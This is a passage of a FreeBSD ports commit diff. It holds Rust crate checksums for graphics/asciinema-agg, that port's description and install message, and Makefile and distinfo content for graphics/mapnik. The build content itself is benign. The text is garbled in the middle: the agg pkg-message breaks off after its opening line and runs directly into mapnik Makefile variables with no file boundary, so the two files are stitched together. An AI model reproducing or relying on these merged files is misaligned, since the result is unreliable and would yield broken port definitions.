+SIZE (rust/crates/num_cpus-1.15.0.crate) = 15680 +SHA256 (rust/crates/once_cell-1.17.1.crate) = b7e5500299e16ebb147ae15a00a942af264cf3688f47923b8fc2cd5858f23ad3 +SIZE (rust/crates/once_cell-1.17.1.crate) = 32856 +SHA256 (rust/crates/os_str_bytes-6.5.0.crate) = ceedf44fb00f2d1984b0bc98102627ce622e083e49a5bacdb3e514fa4238e267 +SIZE (rust/crates/os_str_bytes-6.5.0.crate) = 23166 +SHA256 (rust/crates/pbr-1.1.1.crate) = ed5827dfa0d69b6c92493d6c38e633bbaa5937c153d0d7c28bf12313f8c6d514 +SIZE (rust/crates/pbr-1.1.1.crate) = 13786 +SHA256 (rust/crates/percent-encoding-2.2.0.crate) = 478c572c3d73181ff3c2539045f6eb99e5491218eae919370993b890cdbdd98e +SIZE (rust/crates/percent-encoding-2.2.0.crate) = 10075 +SHA256 (rust/crates/pico-args-0.5.0.crate) = 5be167a7af36ee22fe3115051bc51f6e6c7054c9348e28deb4f49bd6f705a315 +SIZE (rust/crates/pico-args-0.5.0.crate) = 11545 +SHA256 (rust/crates/pin-project-lite-0.2.9.crate) = e0a7ae3ac2f1173085d398531c705756c94a4c56843785df85a60c1a0afac116 +SIZE (rust/crates/pin-project-lite-0.2.9.crate) = 27713 +SHA256 (rust/crates/pin-utils-0.1.0.crate) = 8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184 +SIZE (rust/crates/pin-utils-0.1.0.crate) = 7580 +SHA256 (rust/crates/png-0.17.6.crate) = 8f0e7f4c94ec26ff209cee506314212639d6c91b80afb82984819fafce9df01c +SIZE (rust/crates/png-0.17.6.crate) = 80695 +SHA256 (rust/crates/proc-macro-error-1.0.4.crate) = da25490ff9892aab3fcf7c36f08cfb902dd3e71ca0f9f9517bea02a73a5ce38c +SIZE (rust/crates/proc-macro-error-1.0.4.crate) = 25293 +SHA256 (rust/crates/proc-macro-error-attr-1.0.4.crate) = a1be40180e52ecc98ad80b184934baf3d0d29f979574e439af5a55274b35f869 +SIZE (rust/crates/proc-macro-error-attr-1.0.4.crate) = 7971 +SHA256 (rust/crates/proc-macro2-1.0.54.crate) = e472a104799c74b514a57226160104aa483546de37e839ec50e3c2e41dd87534 +SIZE (rust/crates/proc-macro2-1.0.54.crate) = 43485 +SHA256 (rust/crates/quick-error-2.0.1.crate) = a993555f31e5a609f617c12db6250dedcac1b0a85076912c436e6fc9b2c8e6a3 +SIZE (rust/crates/quick-error-2.0.1.crate) = 14265 +SHA256 (rust/crates/quote-1.0.26.crate) = 4424af4bf778aae2051a77b60283332f386554255d722233d09fbfc7e30da2fc +SIZE (rust/crates/quote-1.0.26.crate) = 28397 +SHA256 (rust/crates/rayon-1.7.0.crate) = 1d2df5196e37bcc87abebc0053e20787d73847bb33134a69841207dd0a47f03b +SIZE (rust/crates/rayon-1.7.0.crate) = 169488 +SHA256 (rust/crates/rayon-core-1.11.0.crate) = 4b8f95bd6966f5c87776639160a66bd8ab9895d9d4ab01ddba9fc60661aebe8d +SIZE (rust/crates/rayon-core-1.11.0.crate) = 73118 +SHA256 (rust/crates/rctree-0.5.0.crate) = 3b42e27ef78c35d3998403c1d26f3efd9e135d3e5121b0a4845cc5cc27547f4f +SIZE (rust/crates/rctree-0.5.0.crate) = 8298 +SHA256 (rust/crates/redox_syscall-0.2.16.crate) = fb5a58c1855b4b6819d59012155603f0b22ad30cad752600aadfcb695265519a +SIZE (rust/crates/redox_syscall-0.2.16.crate) = 24012 +SHA256 (rust/crates/redox_users-0.4.3.crate) = b033d837a7cf162d7993aded9304e30a83213c648b6e389db233191f891e5c2b +SIZE (rust/crates/redox_users-0.4.3.crate) = 15353 +SHA256 (rust/crates/regex-1.7.3.crate) = 8b1f693b24f6ac912f4893ef08244d70b6067480d2f1a46e950c9691e6749d1d +SIZE (rust/crates/regex-1.7.3.crate) = 239886 +SHA256 (rust/crates/regex-syntax-0.6.29.crate) = f162c6dd7b008981e4d40210aca20b4bd0f9b60ca9271061b07f78537722f2e1 +SIZE (rust/crates/regex-syntax-0.6.29.crate) = 299752 +SHA256 (rust/crates/reqwest-0.11.16.crate) = 27b71749df584b7f4cac2c426c127a7c785a5106cc98f7a8feb044115f0fa254 +SIZE (rust/crates/reqwest-0.11.16.crate) = 152152 +SHA256 (rust/crates/resize-0.7.4.crate) = 87e7bdfff05e26408cf8f82fe896ce3d7624f0c0b06c84b2f1009c50452ead41 +SIZE (rust/crates/resize-0.7.4.crate) = 10345 +SHA256 (rust/crates/resvg-0.28.0.crate) = c115863f2d3621999cf187e318bc92b16402dfeff6a48c74df700d77381394c1 +SIZE (rust/crates/resvg-0.28.0.crate) = 94137 +SHA256 (rust/crates/rgb-0.8.36.crate) = 20ec2d3e3fc7a92ced357df9cebd5a10b6fb2aa1ee797bf7e9ce2f17dffc8f59 +SIZE (rust/crates/rgb-0.8.36.crate) = 16576 +SHA256 (rust/crates/ring-0.16.20.crate) = 3053cf52e236a3ed746dfc745aa9cacf1b791d846bdaf412f60a8d7d6e17c8fc +SIZE (rust/crates/ring-0.16.20.crate) = 5082615 +SHA256 (rust/crates/roxmltree-0.15.1.crate) = 6b9de9831a129b122e7e61f242db509fa9d0838008bf0b29bb0624669edfe48a +SIZE (rust/crates/roxmltree-0.15.1.crate) = 39078 +SHA256 (rust/crates/roxmltree-0.18.0.crate) = d8f595a457b6b8c6cda66a48503e92ee8d19342f905948f29c383200ec9eb1d8 +SIZE (rust/crates/roxmltree-0.18.0.crate) = 42463 +SHA256 (rust/crates/rustix-0.37.5.crate) = 0e78cc525325c06b4a7ff02db283472f3c042b7ff0c391f96c6d5ac6f4f91b75 +SIZE (rust/crates/rustix-0.37.5.crate) = 305076 +SHA256 (rust/crates/rustls-0.20.8.crate) = fff78fc74d175294f4e83b28343315ffcfb114b156f0185e9741cb5570f50e2f +SIZE (rust/crates/rustls-0.20.8.crate) = 270142 +SHA256 (rust/crates/rustls-pemfile-1.0.2.crate) = d194b56d58803a43635bdc398cd17e383d6f71f9182b9a192c127ca42494a59b +SIZE (rust/crates/rustls-pemfile-1.0.2.crate) = 19347 +SHA256 (rust/crates/rustybuzz-0.6.0.crate) = ab9e34ecf6900625412355a61bda0bd68099fe674de707c67e5e4aed2c05e489 +SIZE (rust/crates/rustybuzz-0.6.0.crate) = 219599 +SHA256 (rust/crates/ryu-1.0.13.crate) = f91339c0467de62360649f8d3e185ca8de4224ff281f66000de5eb2a77a79041 +SIZE (rust/crates/ryu-1.0.13.crate) = 46823 +SHA256 (rust/crates/scopeguard-1.1.0.crate) = d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd +SIZE (rust/crates/scopeguard-1.1.0.crate) = 11470 +SHA256 (rust/crates/sct-0.7.0.crate) = d53dcdb7c9f8158937a7981b48accfd39a43af418591a5d008c7b22b5e1b7ca4 +SIZE (rust/crates/sct-0.7.0.crate) = 27502 +SHA256 (rust/crates/serde-1.0.159.crate) = 3c04e8343c3daeec41f58990b9d77068df31209f2af111e059e9fe9646693065 +SIZE (rust/crates/serde-1.0.159.crate) = 77014 +SHA256 (rust/crates/serde_derive-1.0.159.crate) = 4c614d17805b093df4b147b51339e7e44bf05ef59fba1e45d83500bcfb4d8585 +SIZE (rust/crates/serde_derive-1.0.159.crate) = 55039 +SHA256 (rust/crates/serde_json-1.0.95.crate) = d721eca97ac802aa7777b701877c8004d950fc142651367300d21c1cc0194744 +SIZE (rust/crates/serde_json-1.0.95.crate) = 144618 +SHA256 (rust/crates/serde_urlencoded-0.7.1.crate) = d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd +SIZE (rust/crates/serde_urlencoded-0.7.1.crate) = 12822 +SHA256 (rust/crates/shellexpand-3.1.0.crate) = da03fa3b94cc19e3ebfc88c4229c49d8f08cdbd1228870a45f0ffdf84988e14b +SIZE (rust/crates/shellexpand-3.1.0.crate) = 25591 +SHA256 (rust/crates/simplecss-0.2.1.crate) = a11be7c62927d9427e9f40f3444d5499d868648e2edbc4e2116de69e7ec0e89d +SIZE (rust/crates/simplecss-0.2.1.crate) = 19418 +SHA256 (rust/crates/siphasher-0.3.10.crate) = 7bd3e3206899af3f8b12af284fafc038cc1dc2b41d1b89dd17297221c5d225de +SIZE (rust/crates/siphasher-0.3.10.crate) = 9889 +SHA256 (rust/crates/slab-0.4.8.crate) = 6528351c9bc8ab22353f9d776db39a20288e8d6c37ef8cfe3317cf875eecfc2d +SIZE (rust/crates/slab-0.4.8.crate) = 16928 +SHA256 (rust/crates/smallvec-1.10.0.crate) = a507befe795404456341dfab10cef66ead4c041f62b8b11bbb92bffe5d0953e0 +SIZE (rust/crates/smallvec-1.10.0.crate) = 31564 +SHA256 (rust/crates/socket2-0.4.9.crate) = 64a4a911eed85daf18834cfaa86a79b7d266ff93ff5ba14005426219480ed662 +SIZE (rust/crates/socket2-0.4.9.crate) = 45421 +SHA256 (rust/crates/spin-0.5.2.crate) = 6e63cff320ae2c57904679ba7cb63280a3dc4613885beafb148ee7bf9aa9042d +SIZE (rust/crates/spin-0.5.2.crate) = 12004 +SHA256 (rust/crates/strict-num-0.1.0.crate) = 9df65f20698aeed245efdde3628a6b559ea1239bbb871af1b6e3b58c413b2bd1 +SIZE (rust/crates/strict-num-0.1.0.crate) = 4692 +SHA256 (rust/crates/strsim-0.10.0.crate) = 73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623 +SIZE (rust/crates/strsim-0.10.0.crate) = 11355 +SHA256 (rust/crates/svgfilters-0.4.0.crate) = 639abcebc15fdc2df179f37d6f5463d660c1c79cd552c12343a4600827a04bce +SIZE (rust/crates/svgfilters-0.4.0.crate) = 22597 +SHA256 (rust/crates/svgtypes-0.8.2.crate) = 22975e8a2bac6a76bb54f898a6b18764633b00e780330f0b689f65afb3975564 +SIZE (rust/crates/svgtypes-0.8.2.crate) = 32694 +SHA256 (rust/crates/syn-1.0.109.crate) = 72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237 +SIZE (rust/crates/syn-1.0.109.crate) = 237611 +SHA256 (rust/crates/syn-2.0.11.crate) = 21e3787bb71465627110e7d87ed4faaa36c1f61042ee67badb9e2ef173accc40 +SIZE (rust/crates/syn-2.0.11.crate) = 240090 +SHA256 (rust/crates/termcolor-1.2.0.crate) = be55cf8942feac5c765c2c993422806843c9a9a45d4d5c407ad6dd2ea95eb9b6 +SIZE (rust/crates/termcolor-1.2.0.crate) = 17917 +SHA256 (rust/crates/textwrap-0.16.0.crate) = 222a222a5bfe1bba4a77b45ec488a741b3cb8872e5e499451fd7d0129c9c7c3d +SIZE (rust/crates/textwrap-0.16.0.crate) = 53722 +SHA256 (rust/crates/thiserror-1.0.40.crate) = 978c9a314bd8dc99be594bc3c175faaa9794be04a5a5e153caba6915336cebac +SIZE (rust/crates/thiserror-1.0.40.crate) = 18709 +SHA256 (rust/crates/thiserror-impl-1.0.40.crate) = f9456a42c5b0d803c8cd86e73dd7cc9edd429499f37a3550d286d5e86720569f +SIZE (rust/crates/thiserror-impl-1.0.40.crate) = 15138 +SHA256 (rust/crates/thread_local-1.1.7.crate) = 3fdd6f064ccff2d6567adcb3873ca630700f00b5ad3f060c25b5dcfd9a4ce152 +SIZE (rust/crates/thread_local-1.1.7.crate) = 13585 +SHA256 (rust/crates/tiny-skia-0.8.3.crate) = bfef3412c6975196fdfac41ef232f910be2bb37b9dd3313a49a1a6bc815a5bdb +SIZE (rust/crates/tiny-skia-0.8.3.crate) = 192796 +SHA256 (rust/crates/tiny-skia-path-0.8.3.crate) = a4b5edac058fc98f51c935daea4d805b695b38e2f151241cad125ade2a2ac20d +SIZE (rust/crates/tiny-skia-path-0.8.3.crate) = 45814 +SHA256 (rust/crates/tinyvec-1.6.0.crate) = 87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50 +SIZE (rust/crates/tinyvec-1.6.0.crate) = 45991 +SHA256 (rust/crates/tinyvec_macros-0.1.1.crate) = 1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20 +SIZE (rust/crates/tinyvec_macros-0.1.1.crate) = 5865 +SHA256 (rust/crates/tokio-1.27.0.crate) = d0de47a4eecbe11f498978a9b29d792f0d2692d1dd003650c24c76510e3bc001 +SIZE (rust/crates/tokio-1.27.0.crate) = 653991 +SHA256 (rust/crates/tokio-rustls-0.23.4.crate) = c43ee83903113e03984cb9e5cebe6c04a5116269e900e3ddba8f068a62adda59 +SIZE (rust/crates/tokio-rustls-0.23.4.crate) = 27024 +SHA256 (rust/crates/tokio-util-0.7.7.crate) = 5427d89453009325de0d8f342c9490009f76e999cb7672d77e46267448f7e6b2 +SIZE (rust/crates/tokio-util-0.7.7.crate) = 100405 +SHA256 (rust/crates/tower-service-0.3.2.crate) = b6bc1c9ce2b5135ac7f93c72918fc37feb872bdc6a5533a8b85eb4b86bfdae52 +SIZE (rust/crates/tower-service-0.3.2.crate) = 6847 +SHA256 (rust/crates/tracing-0.1.37.crate) = 8ce8c33a8d48bd45d624a6e523445fd21ec13d3653cd51f681abf67418f54eb8 +SIZE (rust/crates/tracing-0.1.37.crate) = 73888 +SHA256 (rust/crates/tracing-core-0.1.30.crate) = 24eb03ba0eab1fd845050058ce5e616558e8f8d8fca633e6b163fe25c797213a +SIZE (rust/crates/tracing-core-0.1.30.crate) = 60351 +SHA256 (rust/crates/try-lock-0.2.4.crate) = 3528ecfd12c466c6f163363caf2d02a71161dd5e1cc6ae7b34207ea2d42d81ed +SIZE (rust/crates/try-lock-0.2.4.crate) = 4467 +SHA256 (rust/crates/ttf-parser-0.15.2.crate) = 7b3e06c9b9d80ed6b745c7159c40b311ad2916abb34a49e9be2653b90db0d8dd +SIZE (rust/crates/ttf-parser-0.15.2.crate) = 136251 +SHA256 (rust/crates/ttf-parser-0.17.1.crate) = 375812fa44dab6df41c195cd2f7fecb488f6c09fbaafb62807488cefab642bff +SIZE (rust/crates/ttf-parser-0.17.1.crate) = 150772 +SHA256 (rust/crates/unicode-bidi-0.3.13.crate) = 92888ba5573ff080736b3648696b70cafad7d250551175acbaa4e0385b3e1460 +SIZE (rust/crates/unicode-bidi-0.3.13.crate) = 44477 +SHA256 (rust/crates/unicode-bidi-mirroring-0.1.0.crate) = 56d12260fb92d52f9008be7e4bca09f584780eb2266dc8fecc6a192bec561694 +SIZE (rust/crates/unicode-bidi-mirroring-0.1.0.crate) = 8241 +SHA256 (rust/crates/unicode-ccc-0.1.2.crate) = cc2520efa644f8268dce4dcd3050eaa7fc044fca03961e9998ac7e2e92b77cf1 +SIZE (rust/crates/unicode-ccc-0.1.2.crate) = 8848 +SHA256 (rust/crates/unicode-general-category-0.6.0.crate) = 2281c8c1d221438e373249e065ca4989c4c36952c211ff21a0ee91c44a3869e7 +SIZE (rust/crates/unicode-general-category-0.6.0.crate) = 35177 +SHA256 (rust/crates/unicode-ident-1.0.8.crate) = e5464a87b239f13a63a501f2701565754bae92d243d4bb7eb12f6d57d2269bf4 +SIZE (rust/crates/unicode-ident-1.0.8.crate) = 41962 +SHA256 (rust/crates/unicode-normalization-0.1.22.crate) = 5c5713f0fc4b5db668a2ac63cdb7bb4469d8c9fed047b1d0292cc7b0ce2ba921 +SIZE (rust/crates/unicode-normalization-0.1.22.crate) = 122604 +SHA256 (rust/crates/unicode-script-0.5.5.crate) = 7d817255e1bed6dfd4ca47258685d14d2bdcfbc64fdc9e3819bd5848057b8ecc +SIZE (rust/crates/unicode-script-0.5.5.crate) = 43874 +SHA256 (rust/crates/unicode-vo-0.1.0.crate) = b1d386ff53b415b7fe27b50bb44679e2cc4660272694b7b6f3326d8480823a94 +SIZE (rust/crates/unicode-vo-0.1.0.crate) = 8084 +SHA256 (rust/crates/untrusted-0.7.1.crate) = a156c684c91ea7d62626509bce3cb4e1d9ed5c4d978f7b4352658f96a4c26b4a +SIZE (rust/crates/untrusted-0.7.1.crate) = 7924 +SHA256 (rust/crates/url-2.3.1.crate) = 0d68c799ae75762b8c3fe375feb6600ef5602c883c5d21eb51c09f22b83c4643 +SIZE (rust/crates/url-2.3.1.crate) = 72777 +SHA256 (rust/crates/usvg-0.28.0.crate) = 8b5b7c2b30845b3348c067ca3d09e20cc6e327c288f0ca4c48698712abf432e9 +SIZE (rust/crates/usvg-0.28.0.crate) = 84567 +SHA256 (rust/crates/usvg-text-layout-0.28.0.crate) = 4c9550670848028641bf976b06f5c520ffdcd6f00ee7ee7eb0853f78e2c249d7 +SIZE (rust/crates/usvg-text-layout-0.28.0.crate) = 21618 +SHA256 (rust/crates/utf8parse-0.2.1.crate) = 711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a +SIZE (rust/crates/utf8parse-0.2.1.crate) = 13435 +SHA256 (rust/crates/version_check-0.9.4.crate) = 49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f +SIZE (rust/crates/version_check-0.9.4.crate) = 14895 +SHA256 (rust/crates/want-0.3.0.crate) = 1ce8a968cb1cd110d136ff8b819a556d6fb6d919363c61534f6860c7eb172ba0 +SIZE (rust/crates/want-0.3.0.crate) = 6550 +SHA256 (rust/crates/wasi-0.11.0+wasi-snapshot-preview1.crate) = 9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423 +SIZE (rust/crates/wasi-0.11.0+wasi-snapshot-preview1.crate) = 28131 +SHA256 (rust/crates/wasm-bindgen-0.2.84.crate) = 31f8dcbc21f30d9b8f2ea926ecb58f6b91192c17e9d33594b3df58b2007ca53b +SIZE (rust/crates/wasm-bindgen-0.2.84.crate) = 172947 +SHA256 (rust/crates/wasm-bindgen-backend-0.2.84.crate) = 95ce90fd5bcc06af55a641a86428ee4229e44e07033963a2290a8e241607ccb9 +SIZE (rust/crates/wasm-bindgen-backend-0.2.84.crate) = 26344 +SHA256 (rust/crates/wasm-bindgen-futures-0.4.34.crate) = f219e0d211ba40266969f6dbdd90636da12f75bee4fc9d6c23d1260dadb51454 +SIZE (rust/crates/wasm-bindgen-futures-0.4.34.crate) = 15117 +SHA256 (rust/crates/wasm-bindgen-macro-0.2.84.crate) = 4c21f77c0bedc37fd5dc21f897894a5ca01e7bb159884559461862ae90c0b4c5 +SIZE (rust/crates/wasm-bindgen-macro-0.2.84.crate) = 12857 +SHA256 (rust/crates/wasm-bindgen-macro-support-0.2.84.crate) = 2aff81306fcac3c7515ad4e177f521b5c9a15f2b08f4e32d823066102f35a5f6 +SIZE (rust/crates/wasm-bindgen-macro-support-0.2.84.crate) = 19076 +SHA256 (rust/crates/wasm-bindgen-shared-0.2.84.crate) = 0046fef7e28c3804e5e38bfa31ea2a0f73905319b677e57ebe37e49358989b5d +SIZE (rust/crates/wasm-bindgen-shared-0.2.84.crate) = 7219 +SHA256 (rust/crates/web-sys-0.3.61.crate) = e33b99f4b23ba3eec1a53ac264e35a755f00e966e0065077d6027c0f575b0b97 +SIZE (rust/crates/web-sys-0.3.61.crate) = 706333 +SHA256 (rust/crates/webpki-0.22.0.crate) = f095d78192e208183081cc07bc5515ef55216397af48b873e5edcd72637fa1bd +SIZE (rust/crates/webpki-0.22.0.crate) = 58663 +SHA256 (rust/crates/webpki-roots-0.22.6.crate) = b6c71e40d7d2c34a5106301fb632274ca37242cd0c9d3e64dbece371a40a2d87 +SIZE (rust/crates/webpki-roots-0.22.6.crate) = 242386 +SHA256 (rust/crates/weezl-0.1.7.crate) = 9193164d4de03a926d909d3bc7c30543cecb35400c02114792c2cae20d5e2dbb +SIZE (rust/crates/weezl-0.1.7.crate) = 42166 +SHA256 (rust/crates/wild-2.1.0.crate) = 05b116685a6be0c52f5a103334cbff26db643826c7b3735fc0a3ba9871310a74 +SIZE (rust/crates/wild-2.1.0.crate) = 7548 +SHA256 (rust/crates/winapi-0.3.9.crate) = 5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419 +SIZE (rust/crates/winapi-0.3.9.crate) = 1200382 +SHA256 (rust/crates/winapi-i686-pc-windows-gnu-0.4.0.crate) = ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6 +SIZE (rust/crates/winapi-i686-pc-windows-gnu-0.4.0.crate) = 2918815 +SHA256 (rust/crates/winapi-util-0.1.5.crate) = 70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178 +SIZE (rust/crates/winapi-util-0.1.5.crate) = 10164 +SHA256 (rust/crates/winapi-x86_64-pc-windows-gnu-0.4.0.crate) = 712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f +SIZE (rust/crates/winapi-x86_64-pc-windows-gnu-0.4.0.crate) = 2947998 +SHA256 (rust/crates/windows-sys-0.45.0.crate) = 75283be5efb2831d37ea142365f009c02ec203cd29a3ebecbc093d52315b66d0 +SIZE (rust/crates/windows-sys-0.45.0.crate) = 2568659 +SHA256 (rust/crates/windows-targets-0.42.2.crate) = 8e5180c00cd44c9b1c88adb3693291f1cd93605ded80c250a75d472756b4d071 +SIZE (rust/crates/windows-targets-0.42.2.crate) = 5492 +SHA256 (rust/crates/windows_aarch64_gnullvm-0.42.2.crate) = 597a5118570b68bc08d8d59125332c54f1ba9d9adeedeef5b99b02ba2b0698f8 +SIZE (rust/crates/windows_aarch64_gnullvm-0.42.2.crate) = 364071 +SHA256 (rust/crates/windows_aarch64_msvc-0.42.2.crate) = e08e8864a60f06ef0d0ff4ba04124db8b0fb3be5776a5cd47641e942e58c4d43 +SIZE (rust/crates/windows_aarch64_msvc-0.42.2.crate) = 666981 +SHA256 (rust/crates/windows_i686_gnu-0.42.2.crate) = c61d927d8da41da96a81f029489353e68739737d3beca43145c8afec9a31a84f +SIZE (rust/crates/windows_i686_gnu-0.42.2.crate) = 736236 +SHA256 (rust/crates/windows_i686_msvc-0.42.2.crate) = 44d840b6ec649f480a41c8d80f9c65108b92d89345dd94027bfe06ac444d1060 +SIZE (rust/crates/windows_i686_msvc-0.42.2.crate) = 724951 +SHA256 (rust/crates/windows_x86_64_gnu-0.42.2.crate) = 8de912b8b8feb55c064867cf047dda097f92d51efad5b491dfb98f6bbb70cb36 +SIZE (rust/crates/windows_x86_64_gnu-0.42.2.crate) = 699373 +SHA256 (rust/crates/windows_x86_64_gnullvm-0.42.2.crate) = 26d41b46a36d453748aedef1486d5c7a85db22e56aff34643984ea85514e94a3 +SIZE (rust/crates/windows_x86_64_gnullvm-0.42.2.crate) = 364068 +SHA256 (rust/crates/windows_x86_64_msvc-0.42.2.crate) = 9aec5da331524158c6d1a4ac0ab1541149c0b9505fde06423b02f5ef0106b9f0 +SIZE (rust/crates/windows_x86_64_msvc-0.42.2.crate) = 666936 +SHA256 (rust/crates/winreg-0.10.1.crate) = 80d0f4e272c85def139476380b12f9ac60926689dd2e01d4923222f40580869d +SIZE (rust/crates/winreg-0.10.1.crate) = 25725 +SHA256 (rust/crates/xmlparser-0.13.5.crate) = 4d25c75bf9ea12c4040a97f829154768bbbce366287e2dc044af160cd79a13fd +SIZE (rust/crates/xmlparser-0.13.5.crate) = 26225 +SHA256 (asciinema-avt-v0.6.0_GH0.tar.gz) = 946bf3134bb4315eaf4dd5bc50644cfa9d296272e6cf4c6c177201103b6f60c1 +SIZE (asciinema-avt-v0.6.0_GH0.tar.gz) = 471495 +SHA256 (asciinema-agg-v1.4.1_GH0.tar.gz) = ee997a9259b853d90aacdbae26ab64564022e1010d128b2713cc5ded16252e21 +SIZE (asciinema-agg-v1.4.1_GH0.tar.gz) = 2967983 diff --git a/graphics/asciinema-agg/pkg-descr b/graphics/asciinema-agg/pkg-descr new file mode 100644 index 00000000000..c273b3b5d78 --- /dev/null +++ b/graphics/asciinema-agg/pkg-descr @@ -0,0 +1,4 @@ +agg is a command-line tool for generating animated GIF files from +asciicast v2 files produced by asciinema terminal recorder. It uses +the excellent gifski library to produce optimized, high quality GIF +output with accurate frame timing. diff --git a/graphics/asciinema-agg/pkg-message b/graphics/asciinema-agg/pkg-message new file mode 100644 index 00000000000..59cc7aa72e9 --- /dev/null +++ b/graphics/asciinema-agg/pkg-message @@ -0,0 +1,13 @@ +[ +{ type: install + message: <0:x11-fonts/dejavu + +USES= compiler:c++14-lang gmake gnome pkgconfig python tar:bzip2 +USE_GNOME= libxml2 +USE_LDCONFIG= yes +MAKE_ARGS= PYTHON="${PYTHON_CMD}" +MAKE_ENV= JOBS=${MAKE_JOBS_NUMBER} +HAS_CONFIGURE= yes +CONFIGURE_ARGS= CPP_TESTS=False \ + CUSTOM_CFLAGS="${CFLAGS}" \ + CUSTOM_CXXFLAGS="${CXXFLAGS}" \ + CUSTOM_LDFLAGS="${LDFLAGS}" \ + DEMO=False \ + DESTDIR="${STAGEDIR}" \ + FAST=True \ + INPUT_PLUGINS="`${ECHO} ${INPUT_PLUGINS} | ${TR} ' ' ,`" \ + SVG2PNG=True \ + SYSTEM_FONTS=${LOCALBASE}/share/fonts/dejavu \ + XMLPARSER=libxml2 +CONFIGURE_ENV= PYTHON="${PYTHON_CMD}" + +PORTDOCS= AUTHORS.md CHANGELOG.md CODE_OF_CONDUCT.md INSTALL.md README.md docs/* + +INPUT_PLUGINS= csv raster shape geojson topojson + +OPTIONS_DEFINE= CAIRO DOCS JPEG PNG PROJ TIFF WEBP +OPTIONS_DEFAULT= CAIRO GDAL JPEG OGR PGRASTER PNG POSTGIS PROJ SQLITE3 \ + TIFF WEBP +OPTIONS_GROUP= INPUT +OPTIONS_GROUP_INPUT= GDAL OGR PGRASTER POSTGIS SQLITE3 +OPTIONS_SUB= yes + +INPUT_DESC= Input plugins +GDAL_DESC= GDAL input plugin +OGR_DESC= OGR input plugin +POSTGIS_DESC= PostGIS input plugin +PGRASTER_DESC= PGraster input plugin +SQLITE3_DESC= SQLite input plugin + +PROJ_DESC= PROJ support + +CAIRO_DESC= Enable cairo rendering + +GDAL_VARS= INPUT_PLUGINS+=gdal +GDAL_LIB_DEPENDS= libgdal.so:graphics/gdal +OGR_VARS= INPUT_PLUGINS+=ogr +OGR_LIB_DEPENDS= libgdal.so:graphics/gdal +POSTGIS_VARS= INPUT_PLUGINS+=postgis +POSTGIS_USES= pgsql +PGRASTER_VARS= INPUT_PLUGINS+=pgraster +PGRASTER_USES= pgsql +SQLITE3_VARS= INPUT_PLUGINS+=sqlite +SQLITE3_LIB_DEPENDS= libsqlite3.so:databases/sqlite3 + +PNG_LIB_DEPENDS= libpng.so:graphics/png +PNG_MAKE_ARGS_OFF= PNG=False +JPEG_USES= jpeg +JPEG_MAKE_ARGS_OFF= JPEG=False +TIFF_LIB_DEPENDS= libtiff.so:graphics/tiff +TIFF_MAKE_ARGS_OFF= TIFF=False +WEBP_LIB_DEPENDS= libwebp.so:graphics/webp +WEBP_MAKE_ARGS_OFF= WEBP=False +PROJ_LIB_DEPENDS= libproj.so:graphics/proj +PROJ_MAKE_ARGS_OFF= PROJ=False + +CAIRO_LIB_DEPENDS= libcairo.so:graphics/cairo +CAIRO_BUILD_DEPENDS= ${PYTHON_PKGNAMEPREFIX}cairo>=1.8.2:graphics/py-cairo@${PY_FLAVOR} +CAIRO_MAKE_ARGS_OFF= CAIRO=False + +pre-configure-SQLITE3-on: + @if ! ${LOCALBASE}/bin/sqlite3 :memory: 'create virtual table foo using rtree(pkid, xmin, xmax, ymin, ymax)' > /dev/null 2>&1; then \ + ${ECHO_MSG} "" ; \ + ${ECHO_MSG} "The SQLite plugin requires libsqlite3 built with RTREE support"; \ + ${ECHO_MSG} "Please, reinstall 'databases/sqlite3' port with R*Tree module enabled"; \ + ${ECHO_MSG} "" ; \ + ${FALSE} ; \ + fi + +post-patch: + @${REINPLACE_CMD} -e 's#/usr/local#${LOCALBASE}#g' \ + -e 's#/usr/include#${LOCALBASE}/include#g' \ + -e "s#'/usr/' + LIBDIR_SCHEMA_DEFAULT#'${LOCALBASE}/' + LIBDIR_SCHEMA_DEFAULT#g" \ + ${WRKSRC}/SConstruct + +post-install: + @${STRIP_CMD} ${STAGEDIR}${PREFIX}/bin/mapnik-index \ + ${STAGEDIR}${PREFIX}/bin/mapnik-render \ + ${STAGEDIR}${PREFIX}/bin/shapeindex \ + ${STAGEDIR}${PREFIX}/bin/svg2png + @${STRIP_CMD} ${STAGEDIR}${PREFIX}/lib/*.so + @${STRIP_CMD} ${STAGEDIR}${PREFIX}/lib/mapnik/input/*.input + +post-install-DOCS-on: + @${MKDIR} ${STAGEDIR}${DOCSDIR} + @cd ${WRKSRC} && ${INSTALL_DATA} AUTHORS.md CHANGELOG.md CODE_OF_CONDUCT.md INSTALL.md README.md ${STAGEDIR}${DOCSDIR} + @${MKDIR} ${STAGEDIR}${DOCSDIR}/docs + @cd ${WRKSRC} && ${INSTALL_DATA} docs/* ${STAGEDIR}${DOCSDIR}/docs + +.include diff --git a/graphics/mapnik/distinfo b/graphics/mapnik/distinfo new file mode 100644 index 00000000000..df164881b39 --- /dev/null +++ b/graphics/mapnik/distinfo @@ -0,0 +1,9 @@ +TIMESTAMP = 1677423842 +SHA256 (mapnik-v3.1.0.tar.bz2) = 43d76182d2a975212b4ad11524c74e577576c11039fdab5286b828397d8e6261 +SIZE (mapnik-v3.1.0.tar.bz2) = 10110740 +SHA256 (8944e81367d2b3b91a41e24116e1813c01491e5d.patch) = a8c98fed2e0c72c2b48bf1ea81fe17dd79878429d82f32243ddcf61a5b4e4541 +SIZE (8944e81367d2b3b91a41e24116e1813c01491e5d.patch) = 89836 +SHA256 (83779b7b6bdd229740b1b5e12a4a8fe27114cb7d.patch) = c80ca2cded88dfebff4efc92febb847fef1c8e3ade4795852ecf04a4b82724af +SIZE 